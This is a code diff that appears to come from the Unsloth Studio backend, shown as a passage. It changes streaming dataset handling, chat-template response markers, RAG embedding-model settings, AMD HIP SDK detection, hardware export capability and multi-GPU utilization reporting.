is_streaming_dataset(dataset) def _convert(examples): conversations = [] @@ -283,7 +300,7 @@ def convert_alpaca_to_chatml( "batch_size": batch_size, } - if not _is_torch_iterable: + if not is_iterable: from utils.hardware import dataset_map_num_proc if num_proc is None or type(num_proc) is not int: @@ -294,7 +311,20 @@ def convert_alpaca_to_chatml( dataset_map_kwargs["num_proc"] = num_proc dataset_map_kwargs["desc"] = "Converting Alpaca to ChatML format" - return dataset.map(_convert, **dataset_map_kwargs) + result = dataset.map(_convert, **dataset_map_kwargs) + + # For streaming, force the first mapped row through now so any + # column/format errors surface before training begins (not mid-iteration). + # IterableDataset re-iterates from the generator source, so this is safe. + if is_iterable: + try: + next(iter(result)) + except Exception as exc: + raise ValueError( + f"Streaming Alpaca-to-ChatML conversion failed on the first row: {exc}" + ) from exc + + return result def _format_eta(seconds): diff --git a/studio/backend/utils/datasets/iterable.py b/studio/backend/utils/datasets/iterable.py new file mode 100644 index 0000000000..8408ef75f3 --- /dev/null +++ b/studio/backend/utils/datasets/iterable.py @@ -0,0 +1,20 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Helpers for dataset iterable detection.""" + + +def is_streaming_dataset(dataset) -> bool: + """Return True for iterable datasets that do not support eager map kwargs.""" + try: + from datasets import IterableDataset as HfIterableDataset + if isinstance(dataset, HfIterableDataset): + return True + except ImportError: + pass + + try: + from torch.utils.data import IterableDataset as TorchIterableDataset + return isinstance(dataset, TorchIterableDataset) + except ImportError: + return False diff --git a/studio/backend/utils/datasets/model_mappings.py b/studio/backend/utils/datasets/model_mappings.py index 463d26a692..65ba4b4688 100644 --- a/studio/backend/utils/datasets/model_mappings.py +++ b/studio/backend/utils/datasets/model_mappings.py @@ -485,9 +485,11 @@ TEMPLATE_TO_RESPONSES_MAPPER = { "instruction": "<|im_start|>user\n", "response": "<|im_start|>assistant\n", }, + # No "" suffix: Qwen3-Thinking-2507 strips it from non-final turns + # and QwQ renders none, so a marker holding it masks those responses. "qwen3-thinking": { "instruction": "<|im_start|>user\n", - "response": "<|im_start|>assistant\n\n", + "response": "<|im_start|>assistant\n", }, "qwen3": { "instruction": "<|im_start|>user\n", @@ -525,29 +527,39 @@ TEMPLATE_TO_RESPONSES_MAPPER = { "instruction": "<|im_start|>user<|im_sep|>", "response": "<|im_start|>assistant<|im_sep|>", }, + # No surrounding spaces: in Mistral v0.3 they fold into neighbouring text + # tokens ("[INST]"/"[/INST]" are single special tokens), so padded strings + # never match and everything masks. Same for Llama-2's SentencePiece. "mistral": { - "instruction": "[INST] ", - "response": " [/INST]", + "instruction": "[INST]", + "response": "[/INST]", }, "llama": { - "instruction": "[INST] ", - "response": " [/INST]", + # -anchored: llama-2 tokenizes [INST] after as bare "[" on + # transformers 5.x (standalone gives space-prefixed "▁["), so an + # unanchored marker misses every turn boundary there. + "instruction": "[INST]", + "response": "[/INST]", }, "chatml": { "instruction": "<|im_start|>user\n", "response": "<|im_start|>assistant\n", }, + # Leading newline required: Zephyr's role tags are plain text, and + # SentencePiece tokenizes "<|assistant|>" differently at text start than + # after "\n". Without the "\n" anchor the markers never match real + # turns, so every assistant token masks. "zephyr": { - "instruction": "<|user|>\n", - "response": "<|assistant|>\n", + "instruction": "\n<|user|>\n", + "response": "\n<|assistant|>\n", }, "unsloth": { - "instruction": ">>> User: ", - "response": ">>> Assistant: ", + "instruction": ">>> User:", + "response": ">>> Assistant:", }, "vicuna": { - "instruction": "USER: ", - "response": "ASSISTANT: ", + "instruction": "USER:", + "response": "ASSISTANT:", }, "alpaca": { "instruction": "### Instruction:\n", @@ -573,16 +585,21 @@ TEMPLATE_TO_RESPONSES_MAPPER = { "instruction": "<|im_start|>user\n", "response": "<|im_start|>assistant\n", }, + # No trailing space: SentencePiece folds it into the next content token + # ("▁Hello"), so the padded marker never matches and masks everything. "starling": { - "instruction": "GPT4 Correct User: ", - "response": "GPT4 Correct Assistant: ", + "instruction": "GPT4 Correct User:", + "response": "GPT4 Correct Assistant:", }, "yi-chat": { "instruction": "<|im_start|>user\n", "response": "<|im_start|>assistant\n", }, + # "[gMASK]" appears once at text start, so a marker holding it matches + # no later user turn; "" is scaffolding GLM-4.x renders as a lone + # "" on non-final turns, so "<|assistant|>" never matches. "glm": { - "instruction": "[gMASK]<|user|>", - "response": "<|assistant|>", + "instruction": "<|user|>", + "response": "<|assistant|>", }, } diff --git a/studio/backend/utils/datasets/raw_text.py b/studio/backend/utils/datasets/raw_text.py index 03315fb287..112528fdd0 100644 --- a/studio/backend/utils/datasets/raw_text.py +++ b/studio/backend/utils/datasets/raw_text.py @@ -22,10 +22,36 @@ class RawTextPreparationResult: notices: list[RawTextNotice] +def resolve_column_names(dataset) -> list[str]: + """Return the column names for *dataset*, guarding against None. + + IterableDataset.column_names is None until HF datasets>=X materialises + it from the first batch; .map() also keeps it None. Resolution order: + 1. dataset.column_names if truthy (regular Dataset or HF>=4.4) + 2. keys of dataset.features if available + 3. bounded first-row probe, consumes one element, safe on IterableDataset + because HF re-iterates from the generator on the next pass + 4. [] as a last resort so callers never see None + """ + col_names = getattr(dataset, "column_names", None) + if col_names: + return list(col_names) + + features = getattr(dataset, "features", None) + if features: + return list(features.keys()) + + try: + first_row = next(iter(dataset)) + return list(first_row.keys()) + except Exception: + return [] + + def _string_columns(dataset: Dataset) -> list[str]: feature_map = getattr(dataset, "features", {}) or {} string_cols: list[str] = [] - for col in dataset.column_names: + for col in resolve_column_names(dataset): feature = feature_map.get(col) dtype = str(getattr(feature, "dtype", "")) if dtype in {"string", "large_string"}: @@ -40,7 +66,24 @@ def _split_scope(split_name: str | None) -> str: def _drop_invalid_text_rows( dataset: Dataset, *, mode_title: str, split_scope: str ) -> tuple[Dataset, list[RawTextNotice]]: + # Lazy filter — drops rows whose 'text' is null/non-string before they reach + # the tokenizer. Works on both Dataset and streaming IterableDataset. filtered_dataset = dataset.filter(lambda ex: isinstance(ex["text"], str)) + + # Streaming datasets (IterableDataset) have no __len__, so we can't count the + # dropped rows or verify the result is non-empty without consuming the whole + # stream. Keep the filter, skip only the len()-based diagnostics. + if not hasattr(dataset, "__len__"): + return filtered_dataset, [ + RawTextNotice( + message = ( + f"{mode_title}: streaming dataset — rows with null or " + f"non-string 'text' in {split_scope} are dropped on the fly." + ), + level = "info", + ) + ] + dropped_rows = len(dataset) - len(filtered_dataset) if not dropped_rows: return filtered_dataset, [] @@ -75,12 +118,13 @@ def prepare_raw_text_dataset( mode_title = mode_label.capitalize() split_scope = _split_scope(split_name) - if "text" not in dataset.column_names: + col_names = resolve_column_names(dataset) + if "text" not in col_names: string_cols = _string_columns(dataset) if not string_cols: raise ValueError( f"{mode_title} training requires a string 'text' column but none " - f"was found in {split_scope} (columns: {dataset.column_names})." + f"was found in {split_scope} (columns: {col_names})." ) renamed_col = string_cols[0] diff --git a/studio/backend/utils/embedding_model_settings.py b/studio/backend/utils/embedding_model_settings.py new file mode 100644 index 0000000000..798ae6d364 --- /dev/null +++ b/studio/backend/utils/embedding_model_settings.py @@ -0,0 +1,124 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Persisted RAG embedding-model override (Settings -> General). + +The stored value takes precedence over the ``RAG_EMBEDDING_MODEL`` env default in +``core.rag.config``. Vectors from different models live in different spaces, so +documents already indexed under the old model must be re-uploaded after a change +(the UI warns about this). +""" + +from __future__ import annotations + +import threading +import time +from typing import Any + +EMBEDDING_MODEL_SETTING_KEY = "rag_embedding_model" +MAX_EMBEDDING_MODEL_LENGTH = 512 + +# The effective model is consulted on the embedder hot path (once per embed / +# tokenize call during ingestion), so the stored value is cached briefly instead +# of hitting sqlite each time. Writes invalidate immediately in-process; other +# readers converge within the TTL. +_CACHE_TTL_S = 2.0 +_cached: tuple[float, str | None] | None = None +# Bumped on every write/invalidate. A reader captures it before the DB read and +# only fills the cache if it is unchanged afterward, so a read that overlapped a +# save cannot repopulate the cache with the pre-save value for the whole TTL. +_generation = 0 +_lock = threading.Lock() + + +def _invalidate_cache() -> None: + global _cached, _generation + with _lock: + _cached = None + _generation += 1 + + +def default_embedding_model() -> str: + """The env/default model from rag config (``RAG_EMBEDDING_MODEL`` or bge).""" + from core.rag import config + return config.EMBEDDING_MODEL + + +def _coerce_embedding_model(value: Any) -> str | None: + if not isinstance(value, str): + return None + cleaned = value.strip() + if not cleaned or len(cleaned) > MAX_EMBEDDING_MODEL_LENGTH: + return None + # Newlines/control chars are never valid in a repo id or path. + if any(ord(ch) < 32 for ch in cleaned): + return None + return cleaned + + +def validate_embedding_model(value: Any) -> str: + cleaned = _coerce_embedding_model(value) + if cleaned is None: + raise ValueError( + "Embedding model must be a Hugging Face repo id (e.g. " + "'unsloth/bge-small-en-v1.5') or a local model path, up to " + f"{MAX_EMBEDDING_MODEL_LENGTH} characters." + ) + return cleaned + + +def get_stored_embedding_model() -> str | None: + """The persisted override, or None when unset/invalid.""" + global _cached + now = time.monotonic() + with _lock: + cached = _cached + if cached is not None and now - cached[0] < _CACHE_TTL_S: + return cached[1] + gen = _generation + try: + from storage.studio_db import get_app_setting + stored = get_app_setting(EMBEDDING_MODEL_SETTING_KEY, None) + except Exception: + # Transient store failure: keep the last known value instead of + # silently reverting the embed/search hot path to the default model, + # which would mix vector spaces mid-ingestion. + with _lock: + if _cached is not None: + _cached = (time.monotonic(), _cached[1]) + return _cached[1] + return None + value = _coerce_embedding_model(stored) + with _lock: + # Only cache when no save landed while we were reading; otherwise this + # value may be pre-save, and caching it would mask the new one for the + # TTL. The next reader re-reads the committed value. + if _generation == gen: + _cached = (time.monotonic(), value) + return value + + +def get_rag_embedding_model() -> str: + """Effective embedding model: persisted override, else env/default.""" + return get_stored_embedding_model() or default_embedding_model() + + +def set_rag_embedding_model(value: Any) -> str: + parsed = validate_embedding_model(value) + from storage.studio_db import upsert_app_settings + + # Saving the default is not an override; keeps is_custom (and the UI's + # reset affordance) honest. + stored = parsed if parsed != default_embedding_model() else None + upsert_app_settings({EMBEDDING_MODEL_SETTING_KEY: stored}) + _invalidate_cache() + return parsed + + +def reset_rag_embedding_model() -> str: + """Clear the override; returns the (env/default) model now in effect.""" + from storage.studio_db import upsert_app_settings + + upsert_app_settings({EMBEDDING_MODEL_SETTING_KEY: None}) + _invalidate_cache() + return default_embedding_model() diff --git a/studio/backend/utils/hardware/__init__.py b/studio/backend/utils/hardware/__init__.py index 5f2b2abbcf..62b537fbac 100644 --- a/studio/backend/utils/hardware/__init__.py +++ b/studio/backend/utils/hardware/__init__.py @@ -44,6 +44,12 @@ from .vram_estimation import ( estimate_training_vram, ) + +def export_capability() -> dict: + """Return live export capability from the hardware module.""" + return _hardware.export_capability() + + __all__ = [ "DeviceType", "DEVICE", @@ -51,6 +57,7 @@ __all__ = [ "IS_ROCM", "detect_hardware", "get_device", + "export_capability", "is_apple_silicon", "clear_gpu_cache", "get_gpu_memory_info", diff --git a/studio/backend/utils/hardware/amd.py b/studio/backend/utils/hardware/amd.py index 27dfe187cc..f5b64c45d0 100644 --- a/studio/backend/utils/hardware/amd.py +++ b/studio/backend/utils/hardware/amd.py @@ -34,14 +34,53 @@ _amd_smi_consecutive_failures = 0 _amd_smi_disabled = False +def _path_inside_venv(path: str) -> bool: + """True if ``path`` is inside the active venv (sys.prefix). + + The venv hipInfo.exe (AMD wheel, put on PATH by main.py/worker.py for + bitsandbytes) is NOT a HIP SDK (see _hip_sdk_present).""" + try: + # realpath (not abspath): resolve symlinks/8.3 names so an aliased venv matches. + root = os.path.normcase(os.path.realpath(sys.prefix)) + # Guard a root-dir prefix (C:\ or /): commonpath would match every path on + # it. A venv is never at root, so treat that as outside. + if os.path.dirname(root) == root: + return False + return os.path.normcase(os.path.commonpath([os.path.realpath(path), root])) == root + except (ValueError, OSError): + # Different drive / unresolvable -> treat as outside the venv. + return False + + +def _external_hipinfo_on_path() -> bool: + """True if a hipinfo OUTSIDE the venv is on PATH. + + shutil.which returns only the first hit, so the venv hipInfo could shadow a + real HIP SDK's; scan every PATH entry and skip the venv copy.""" + for directory in os.environ.get("PATH", "").split(os.pathsep): + directory = directory.strip('"') # PATH entries can be quoted on Windows + if not directory: + continue + candidate = os.path.join(directory, "hipinfo.exe") + if os.path.isfile(candidate) and not _path_inside_venv(candidate): + return True + return False + + def _hip_sdk_present() -> bool: """True if a HIP SDK is detectable (hipinfo on PATH or under HIP_PATH/ - ROCM_PATH), meaning amd-smi has a working runtime and runs un-elevated.""" - if shutil.which("hipinfo"): + ROCM_PATH), so amd-smi has a runtime and runs un-elevated. + + Ignores the venv hipInfo.exe (AMD wheel via the bnb fix): not a HIP SDK, and + doesn't stop amd-smi's DiskPart UAC.""" + if _external_hipinfo_on_path(): return True for var in ("HIP_PATH", "HIP_PATH_57", "ROCM_PATH"): root = os.environ.get(var) - if root and os.path.exists(os.path.join(root, "bin", "hipinfo.exe")): + if not root: + continue + candidate = os.path.join(root, "bin", "hipinfo.exe") + if os.path.exists(candidate) and not _path_inside_venv(candidate): return True return False diff --git a/studio/backend/utils/hardware/hardware.py b/studio/backend/utils/hardware/hardware.py index 02e177baf3..8d6c919ebd 100644 --- a/studio/backend/utils/hardware/hardware.py +++ b/studio/backend/utils/hardware/hardware.py @@ -66,6 +66,11 @@ class DeviceType(str, Enum): DEVICE: Optional[DeviceType] = None CHAT_ONLY: bool = True # No CUDA GPU -> GGUF chat only (Mac, CPU-only, etc.) +# Why CHAT_ONLY is True (Train/Export disabled). None when training is enabled. +# "mlx_unavailable": Apple Silicon but the MLX stack is missing, too old, or broken +# (the usual cause of "Train/Export greyed out" on Macs after a reinstall dropped MLX); +# "intel_mac": Intel Mac (no PyTorch/MLX); "no_gpu": CPU-only non-Mac host. +CHAT_ONLY_REASON: Optional[str] = None IS_ROCM: bool = False # True when running on AMD ROCm (HIP) -- routes GPU monitoring to amd.py @@ -106,6 +111,24 @@ def _has_mlx() -> bool: return False +def _has_usable_mlx_stack() -> bool: + """True only when the FULL Studio MLX training/export stack is usable + (mlx + mlx-lm + mlx-vlm at the minimum versions unsloth-zoo requires), not + just a bare ``import mlx.core``. A backtracked/old mlx-vlm still imports but + breaks VLM Train/Export, so the training gate must match the self-heal's own + criterion (utils.mlx_repair.mlx_stack_available) -- otherwise detect_hardware + would enable Train/Export on exactly the inadequate stack the MLX self-heal + is trying to repair, leaving the user with greyed-in-but-broken buttons.""" + try: + from utils.mlx_repair import mlx_stack_available + return mlx_stack_available() + except Exception as exc: + # mlx_repair should always import; if it somehow cannot, fall back to the + # bare import check rather than forcing a working host into chat-only. + logger.debug("MLX stack availability check failed, using bare import: %s", exc) + return _has_mlx() + + def _print_cuda_device_list(is_rocm: bool) -> None: """List every visible CUDA/ROCm GPU with its index at startup. @@ -151,8 +174,9 @@ def detect_hardware() -> DeviceType: 2. MLX (Apple Silicon via MLX framework) 3. CPU (fallback) """ - global DEVICE, CHAT_ONLY, IS_ROCM - CHAT_ONLY = True # reset -- only CUDA/ROCm sets it to False + global DEVICE, CHAT_ONLY, CHAT_ONLY_REASON, IS_ROCM + CHAT_ONLY = True # reset -- only CUDA/ROCm/XPU/MLX sets it to False + CHAT_ONLY_REASON = None IS_ROCM = False # --- CUDA / ROCm: try PyTorch --- @@ -190,7 +214,10 @@ def detect_hardware() -> DeviceType: return DEVICE # --- MLX: Apple Silicon --- - if is_apple_silicon() and _has_mlx(): + # Require the full mlx/mlx-lm/mlx-vlm stack (not a bare `import mlx.core`) so + # the gate matches utils.mlx_repair: a partial/backtracked stack stays + # chat-only (reason "mlx_unavailable") and the background self-heal repairs it. + if is_apple_silicon() and _has_usable_mlx_stack(): DEVICE = DeviceType.MLX CHAT_ONLY = False # Use platform.machine() ("arm64"); platform.processor() returns "i386" @@ -201,6 +228,23 @@ def detect_hardware() -> DeviceType: # --- Fallback --- DEVICE = DeviceType.CPU + # CHAT_ONLY is still True here (every training-capable branch returned early), + # so record WHY so the UI can explain the greyed-out Train/Export instead of + # silently disabling them. + if is_apple_silicon(): + # Reached the CPU fallback on Apple Silicon, so the MLX stack is missing, + # too old, or broken. This is usually an environment problem recoverable + # with `unsloth studio update`. + CHAT_ONLY_REASON = "mlx_unavailable" + logger.warning( + "Apple Silicon detected but the MLX stack is incomplete or too old; " + "Train/Export disabled (chat-only). Run `unsloth studio update` to " + "restore MLX training." + ) + elif platform.system() == "Darwin": + CHAT_ONLY_REASON = "intel_mac" # Intel Mac: no PyTorch/MLX -> GGUF-only by design. + else: + CHAT_ONLY_REASON = "no_gpu" print("Hardware detected: CPU (no GPU backend available)") return DEVICE @@ -219,6 +263,49 @@ def get_device() -> DeviceType: return DEVICE +def export_capability() -> dict: + """Whether model export can run here, with a torch-aware reason when it cannot. + + Export runs through Unsloth, which hard-requires an accelerator (it calls ``torch.cuda`` at + import and has no CPU path), so it is supported iff ``get_device() in {CUDA, XPU, MLX}``. The + reason distinguishes a --no-torch install from a bare-CPU host. Safe to call without torch. + + Returns {export_supported, export_unsupported_reason, export_unsupported_message}. + """ + if get_device() in (DeviceType.CUDA, DeviceType.XPU, DeviceType.MLX): + return { + "export_supported": True, + "export_unsupported_reason": None, + "export_unsupported_message": None, + } + # No accelerator: name the blocker. Apple Silicon first -- its path is MLX, so "install PyTorch" + # would be wrong advice on a Mac even when torch is also absent. + if is_apple_silicon(): + reason = "mlx_unavailable" + message = ( + "Export on Apple Silicon requires the MLX stack, which is unavailable or too old. Run " + "`unsloth studio update` to restore MLX and enable export." + ) + elif not _has_torch(): + reason = "pytorch_not_installed" + message = ( + "PyTorch is not installed. Model export requires PyTorch with a supported accelerator " + "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export." + ) + else: + reason = "no_accelerator" + message = ( + "Export requires an NVIDIA, AMD, or Intel GPU, or Apple Silicon (MLX). No supported " + "accelerator was found on this host. (PyTorch is installed, but Unsloth cannot export " + "on CPU only.)" + ) + return { + "export_supported": False, + "export_unsupported_reason": reason, + "export_unsupported_message": message, + } + + def clear_gpu_cache(): """ Clear GPU memory cache for the current device. @@ -666,82 +753,159 @@ def _rocm_windows_perf_counter_vram_gb() -> tuple[Optional[float], Optional[floa return None, None +def _gpu_utilization_payload( + device: DeviceType, devices: list[Dict[str, Any]], **metadata: Any +) -> Dict[str, Any]: + """Keep the legacy primary-GPU shape and append all visible devices.""" + backend = _backend_label(device) + normalized = [] + for ordinal, raw in enumerate(devices): + dev = dict(raw) + dev.setdefault("available", True) + dev.setdefault("backend", backend) + if dev.get("visible_ordinal") is None: + dev["visible_ordinal"] = ordinal + normalized.append(dev) + + normalized.sort(key = lambda dev: dev.get("visible_ordinal", dev.get("index", 0))) + payload: Dict[str, Any] = { + "available": bool(normalized), + "backend": backend, + "devices": normalized, + } + payload.update(metadata) + if normalized: + payload.update(normalized[0]) + payload["available"] = True + payload["backend"] = normalized[0].get("backend", backend) + payload["devices"] = normalized + return payload + + def get_gpu_utilization() -> Dict[str, Any]: - """Return a live snapshot of device utilization information.""" + """Live utilization snapshot for the primary GPU plus all visible GPUs.""" device = get_device() + if device == DeviceType.XPU: + result = get_visible_gpu_utilization() + return _gpu_utilization_payload( + device, + result.get("devices", []), + parent_visible_gpu_ids = result.get("parent_visible_gpu_ids", []), + index_kind = result.get("index_kind"), + ) + if device == DeviceType.CUDA: - result = _smi_query("get_primary_gpu_utilization") - if result is not None: - result["backend"] = _backend_label(device) - if IS_ROCM: - # Fix unified-memory VRAM on AMD iGPUs (Strix Halo etc.). - _reconcile_primary_rocm_unified_memory(result, _get_parent_visible_gpu_spec()) - return result - # SMI unavailable. On Windows, use Performance Counters (Task Manager - # source) for system-wide VRAM, covering cross-process usage torch can't see. + parent_visible_spec = _get_parent_visible_gpu_spec() + result = _smi_query( + "get_visible_gpu_utilization", + parent_visible_spec["numeric_ids"], + parent_cuda_visible_devices = parent_visible_spec["raw"], + ) + if result is not None and "devices" in result: + devices = result["devices"] + numeric_ids = parent_visible_spec.get("numeric_ids") + if IS_ROCM and numeric_ids is not None: + _reconcile_rocm_unified_memory(result, numeric_ids) + + return _gpu_utilization_payload( + device, + devices, + backend_cuda_visible_devices = result.get("backend_cuda_visible_devices"), + parent_visible_gpu_ids = result.get("parent_visible_gpu_ids", []), + index_kind = result.get("index_kind"), + ) + + # Fallback Windows ROCm if IS_ROCM and platform.system() == "Windows": _win_used, _win_total = _rocm_windows_perf_counter_vram_gb() if _win_used is not None and _win_total is not None: _win_util = _rocm_windows_perf_counter_gpu_util_pct() - return { - "available": True, - "backend": _backend_label(device), - "gpu_utilization_pct": _win_util, - "temperature_c": None, - "vram_used_gb": _win_used, - "vram_total_gb": _win_total, - "vram_utilization_pct": round((_win_used / _win_total) * 100, 1) - if _win_total > 0 - else None, - "power_draw_w": None, - "power_limit_w": None, - "power_utilization_pct": None, - } - # Linux: DRM sysfs gives system-wide VRAM across all processes, no tools needed. + return _gpu_utilization_payload( + device, + [ + { + "available": True, + "backend": _backend_label(device), + "index": 0, + "visible_ordinal": 0, + "gpu_utilization_pct": _win_util, + "temperature_c": None, + "vram_used_gb": _win_used, + "vram_total_gb": _win_total, + "vram_utilization_pct": round((_win_used / _win_total) * 100, 1) + if _win_total > 0 + else None, + "power_draw_w": None, + "power_limit_w": None, + "power_utilization_pct": None, + } + ], + ) + + # Fallback Linux ROCm if IS_ROCM and platform.system() == "Linux": _linux_used, _linux_total = _rocm_linux_sysfs_vram_gb() if _linux_used is not None and _linux_total is not None: _linux_util = _rocm_linux_sysfs_gpu_busy_pct() _linux_temp = _rocm_linux_sysfs_temp_c() _linux_power = _rocm_linux_sysfs_power_w() - return { - "available": True, - "backend": _backend_label(device), - "gpu_utilization_pct": _linux_util, - "temperature_c": _linux_temp, - "vram_used_gb": _linux_used, - "vram_total_gb": _linux_total, - "vram_utilization_pct": round((_linux_used / _linux_total) * 100, 1) - if _linux_total > 0 - else None, - "power_draw_w": _linux_power, - "power_limit_w": None, - "power_utilization_pct": None, - } - # Last resort: torch mem_get_info (process-local). - _visible_spec = _get_parent_visible_gpu_spec() - _numeric_ids = _visible_spec.get("numeric_ids") or [0] - _primary_idx = [_numeric_ids[0]] if _numeric_ids else [0] - _torch_devices = _torch_get_per_device_info(_primary_idx) - if _torch_devices: - _td = _torch_devices[0] - _total = _td["total_gb"] - _used = _td["used_gb"] - return { - "available": True, - "backend": _backend_label(device), - "gpu_utilization_pct": None, - "temperature_c": None, - "vram_used_gb": _used, - "vram_total_gb": _total, - "vram_utilization_pct": round((_used / _total) * 100, 1) if _total > 0 else None, - "power_draw_w": None, - "power_limit_w": None, - "power_utilization_pct": None, - } + return _gpu_utilization_payload( + device, + [ + { + "available": True, + "backend": _backend_label(device), + "index": 0, + "visible_ordinal": 0, + "gpu_utilization_pct": _linux_util, + "temperature_c": _linux_temp, + "vram_used_gb": _linux_used, + "vram_total_gb": _linux_total, + "vram_utilization_pct": round((_linux_used / _linux_total) * 100, 1) + if _linux_total > 0 + else None, + "power_draw_w": _linux_power, + "power_limit_w": None, + "power_utilization_pct": None, + } + ], + ) - # MLX: _read_apple_gpu_stats() carries both VRAM-used and GPU util%. + # Last resort: torch mem_get_info (process-local) for all visible GPUs + _visible_spec = _get_parent_visible_gpu_spec() + _numeric_ids = _visible_spec.get("numeric_ids") or [] + if not _numeric_ids: + visible_count = _torch_get_physical_gpu_count() or 0 + _numeric_ids = list(range(visible_count)) + + _torch_devices = _torch_get_per_device_info(_numeric_ids) + if _torch_devices: + gpu_array = [] + for _td in _torch_devices: + _total = _td["total_gb"] + _used = _td["used_gb"] + gpu_array.append( + { + "available": True, + "backend": _backend_label(device), + "index": _td["index"], + "name": _td.get("name", "Unknown"), + "gpu_utilization_pct": None, + "temperature_c": None, + "vram_used_gb": _used, + "vram_total_gb": _total, + "vram_utilization_pct": round((_used / _total) * 100, 1) + if _total > 0 + else None, + "power_draw_w": None, + "power_limit_w": None, + "power_utilization_pct": None, + } + ) + return _gpu_utilization_payload(device, gpu_array) + + # MLX if device == DeviceType.MLX: try: import psutil @@ -749,9 +913,8 @@ def get_gpu_utilization() -> Dict[str, Any]: total_bytes = psutil.virtual_memory().total except Exception as e: logger.error(f"Error getting MLX GPU utilization: {e}") - return {"available": False, "backend": device.value, "error": str(e)} - if not agx: - return {"available": False, "backend": device.value} + return {"available": False, "backend": device.value, "devices": [], "error": str(e)} + allocated_bytes = agx.get("vram_used_bytes", 0) or 0 vram_used_gb = allocated_bytes / (1024**3) total_gb = total_bytes / (1024**3) @@ -770,37 +933,51 @@ def get_gpu_utilization() -> Dict[str, Any]: from . import apple - return { - "available": True, - "backend": device.value, - "gpu_utilization_pct": agx.get("utilization_pct") if agx else None, - "temperature_c": apple.read_gpu_temperature_c(), - "vram_used_gb": round(vram_used_gb, 2), - "vram_total_gb": round(total_gb, 2), - "vram_utilization_pct": ( - round((vram_used_gb / total_gb) * 100, 1) if total_gb > 0 else None - ), - "power_draw_w": apple.read_gpu_power_w(), - "power_limit_w": None, - "power_utilization_pct": None, - } + return _gpu_utilization_payload( + device, + [ + { + "available": True, + "backend": device.value, + "index": 0, + "visible_ordinal": 0, + "gpu_utilization_pct": agx.get("utilization_pct") if agx else None, + "temperature_c": apple.read_gpu_temperature_c(), + "vram_used_gb": round(vram_used_gb, 2), + "vram_total_gb": round(total_gb, 2), + "vram_utilization_pct": round((vram_used_gb / total_gb) * 100, 1) + if total_gb > 0 + else None, + "power_draw_w": apple.read_gpu_power_w(), + "power_limit_w": None, + "power_utilization_pct": None, + } + ], + ) mem = get_gpu_memory_info() if device != DeviceType.CPU and mem.get("available"): - return { - "available": True, - "backend": _backend_label(device), - "gpu_utilization_pct": None, - "temperature_c": None, - "vram_used_gb": round(mem.get("allocated_gb", 0), 2), - "vram_total_gb": round(mem.get("total_gb", 0), 2), - "vram_utilization_pct": round(mem.get("utilization_pct", 0), 1), - "power_draw_w": None, - "power_limit_w": None, - "power_utilization_pct": None, - } + return _gpu_utilization_payload( + device, + [ + { + "available": True, + "backend": _backend_label(device), + "index": mem.get("device", 0), + "visible_ordinal": 0, + "gpu_utilization_pct": None, + "temperature_c": None, + "vram_used_gb": round(mem.get("allocated_gb", 0), 2), + "vram_total_gb": round(mem.get("total_gb", 0), 2), + "vram_utilization_pct": round(mem.get("utilization_pct", 0), 1), + "power_draw_w": None, + "power_limit_w": None, + "power_utilization_pct": None, + } + ], + ) - return {"available": False, "backend": _backend_label(device)} + return {"available": False, "backend": _backend_label(device), "devices": []} def _apply_unified_memory_correction( @@ -1161,7 +1338,24 @@ def _load_config_for_gpu_estimate(model_name: str, hf_token: Optional[str] = Non return _to_ns(cfg) except Exception as e: - logger.warning("Could not load config for '%s': %s", model_name, e) + # A 5.x-only config can't be parsed by the default transformers; that is + # expected (the worker reloads under the sidecar), so only warn for default tier. + tier = "default" + try: + from utils.transformers_version import get_transformers_tier + tier = get_transformers_tier(model_name) + except Exception: + pass + if tier != "default": + _tier_version = {"510": "5.10.x", "530": "5.3.0", "550": "5.5.0"}.get(tier, "5.x") + logger.info( + "Config for '%s' not parseable by the default transformers; " + "needs transformers %s and will be loaded with that sidecar in the worker", + model_name, + _tier_version, + ) + else: + logger.warning("Could not load config for '%s': %s", model_name, e) return None diff --git a/studio/backend/utils/hf_xet_fallback.py b/studio/backend/utils/hf_xet_fallback.py index a6ba69fffc..9bc4a60fad 100644 --- a/studio/backend/utils/hf_xet_fallback.py +++ b/studio/backend/utils/hf_xet_fallback.py @@ -1,337 +1,283 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 -"""Xet-primary HF downloads with an automatic HTTP fallback on a no-progress stall. +"""Studio shim over the shared ``unsloth_zoo.hf_xet_fallback`` Xet -> HTTP stall fallback. -Xet (``hf_xet``) is the fast default but can hang with no progress and no -exception, and a blocked native thread cannot be killed. Keep Xet primary; fall -back to plain HTTP only when the parent observes a stall. ``HF_HUB_DISABLE_XET`` -is read at import time, so the fallback runs in a fresh ``spawn`` child (not a -thread) that sets the env before importing ``huggingface_hub``. Cached files -short-circuit with no child; deterministic errors (401/403/404/disk-full) and -cancellation propagate without a fallback. Mirrors the safetensors inference -recovery in core/inference/{orchestrator,worker}.py. +Re-exports the shared API and injects Studio's marker-aware cache purge +(``prepare_cache_for_transport``) so the download manager keeps its ``.transport`` +marker semantics on the HTTP retry. + +Import discipline: ``unsloth_zoo``'s ``__init__`` eagerly imports ``transformers``. The workers +import this shim at startup (to decide the per-worker Xet env flip) *before* activating the model's +``transformers`` sidecar. Activation only prepends the sidecar to ``sys.path``, so a ``transformers`` +already cached in ``sys.modules`` (via an eager ``unsloth_zoo`` import here) wins -- pinning the +default 4.57.x and regressing Qwen3.5 / GLM-4.7 / gemma-4 training with +``Tokenizer class TokenizersBackend does not exist``. So the shared backend is loaded **lazily** +(``_load_shared``), only on first use of a heavy download helper, i.e. after the sidecar is active. +``child_should_disable_xet`` and the ``DEFAULT_*`` constants are defined locally so importing them +never triggers the heavy load. """ from __future__ import annotations -import multiprocessing as mp -import os -import queue -import signal -import sys import threading -import time from typing import Any, Callable, Optional -from loggers import get_logger - -logger = get_logger(__name__) - -_CTX = mp.get_context("spawn") - -# Defaults match the existing inference watchdog and hub shutdown deadline. +# Defaults mirror unsloth_zoo.hf_xet_fallback; plain literals so they resolve (including as +# default args below) without importing unsloth_zoo/transformers. +DEFAULT_GRACE_PERIOD = 10.0 DEFAULT_HEARTBEAT_INTERVAL = 30.0 DEFAULT_STALL_TIMEOUT = 180.0 -DEFAULT_GRACE_PERIOD 